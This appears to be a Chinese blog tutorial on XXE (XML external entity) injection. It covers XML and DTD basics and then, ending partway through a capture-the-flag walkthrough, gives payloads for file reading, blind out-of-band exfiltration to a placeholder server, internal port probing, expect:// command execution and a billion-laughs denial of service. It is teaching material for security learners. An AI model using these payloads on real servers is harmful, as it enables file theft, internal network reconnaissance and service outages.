XML实体注入深入理解_Xml

引文

在平常的web渗透中，我们经常会遇到sql注入、文件上传、ssrf、csrf等一系列的漏洞，但xxe漏洞在座的读者们了解过吗。今天带大家了解一下这个危险程度同样很高的xxe漏洞。

简介

xml外部实体注入漏洞（xml external entity injection）简称xxe，xxe漏洞发生在应用程序解析xml输入时，没有禁止外部实体的加载，导致可以构造加载恶意外部文件，进而通过恶意外部文件对服务器进行攻击。

基础知识

在了解xxe漏洞前，我们先看看什么是xml实体。xml根据简单概括为如下：可扩展标记语言 (extensible markup language, xml) ，标准通用标记语言的子集，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。 xml是标准通用标记语言可扩展性良好,内容与形式分离,遵循严格的语法要求,保值性良好等优点。

可能单看文字读者们不太好理解，下面给大家简单举个例子：

上图就是一个简单的xml实体，用代码显示可以展示为：

<bookstore> 
    <book category="cooking"> 
    <title lang="en">everyday italian</title>
    <author>giada de laurentiis</author> 
    <year>2005</year>
    <price>30.00</price>
    </book>
    <book category="children"> 
    <title lang="en">harry potter</title> 
    <author>j k. rowling</author> 
    <year>2005</year> 
    <price>29.99</price>
    </book>
    <book category="web"> 
    <title lang="en">learning xml</title> 
    <author>erik t. ray</author> 
    <year>2003</year>
    <price>39.95</price> 
    </book>
</bookstore>

其中根的元素是 bookstore,book中元素有子元素：author、title、year、price。

dtd

dtd（文档类型定义）可以合法的定义xml标签，dtd 可被成行地声明于 xml 文档中，也可作为一个外部引用，接下来带大家详细看一下它的内部结构以更好的去理解。

内部doctype声明

<?xml version="1.0"?>
<!doctype note[                                        <!--定义此文档是 note 类型的文档-->
<!element note (to,from,heading,body)>               <!--定义note元素有四个元素-->
<!element x (#pcdata)>                                   
<!element i (#pcdata)>                             
<!element n (#pcdata)>                     
<!element o (#pcdata)>                             
]>
<note>
<to>i</to>
<from>a</from>
<head>m</head>
<body>xino!</body>
</note>

外部doctype声明

<!doctype 根元素 system "url">

xml实体注入

了解了上面的基础知识后，我们便可以进一步学习xxe漏洞。

我们要想利用，首先要判断服务器会不会解析xml实体，所以开始时我们先上传一个测试文件来判断服务器是否能解析该类型，如果解析了，我们才可以继续利用这个漏洞。

<?xml version="1.0" encoding="utf-8"?>
<!doctype any [
<!entity name "hello">
]>
<root>&name;</root>

判断服务器是否解析之后我们可以看看是否支持外部实体调用：

<?xml version="1.0" encoding="utf-8"?>
<!doctype any [ 
<!entity name system "vps/hack.dtd">
]>
<root>&name;</root>

判断完之后就可以做进一步测试了，比如：

无回显xxe（blind xxe）

我们将获取的数据发送到外部的http服务器上，后面查看http服务器即可查看到提取的数据内容。

举一个最简单的例子：

#test.xml
<!entity % all
"<!entity &#x25; send system 'http://xxx.xxx.xxx.xxx/x.php?1=%file;'"
>
%all;

对应的payload可以写作为:

<!doctype any[
<!entity % file system "php://filter/read=convert.base64-encode/resource=/flag">
<!entity % remote system "http://xxx.xxx.xxx.xxx/test.xml">
%remote;
%send;
]>

首先对 remote 引用的目的是将外部文件 test.xml 引入到文中,检测到 send 实体，在节点中引用 send，就可以成功实现数据转发。也就实现了数据的外带。

读取任意文件

这个也是xxe比较常用的方法，我们引入（或编辑）一个doctype元素，该元素定义一个包含文件路径的外部实体。

探测内网端口

我们利用xxe也可以进行内网探测端口（类似于ssrf），以用来进一步对机器照成攻击：

<?xml version="1.0" encoding="utf-8"?> 
<!doctype xxe [
<!element name any>
<!entity xxe system "http://127.0.0.1:80">]>
<root>

命令执行

这个还是比较少见的，因为命令执行的条件比较苛刻，要求靶机php装有expect扩展，但这个扩展是默认不安装的，所以比较难利用。

<?xml version="1.0" encoding="utf-8"?>
<!doctype xxe [
<!element name any >
<!entity xxe system "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

dos拒绝服务

这个不是很了解，在网上浏览时注意到的，原理大概是利用迭代参数实体进行拒绝服务，让服务器的解析变得非常非常慢。

<?xml version="1.0"?>
<!doctype xml [
<!entity xxe1 "xxe">
<!entity xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">
<!entity xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;">
<!entity xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;">
<!entity xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;">
<!entity xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">
]>
<test>&xxe6;</test>

例题

[php]xxe

打开是一个登录界面：

在源码处会发现：

<button id="go" onclick="xmlfunction()">go!</button>

可以判断会解析xml文件，尝试构造payload直接读取文件：

<?xml version="1.0" encoding="utf-8"?>
<!doctype root[
<!entity admin system "file:///flag">
]>
<root>
<username>&admin;</username>
<password>xino</password>
</root>

抓包构造恶意数据然后发包：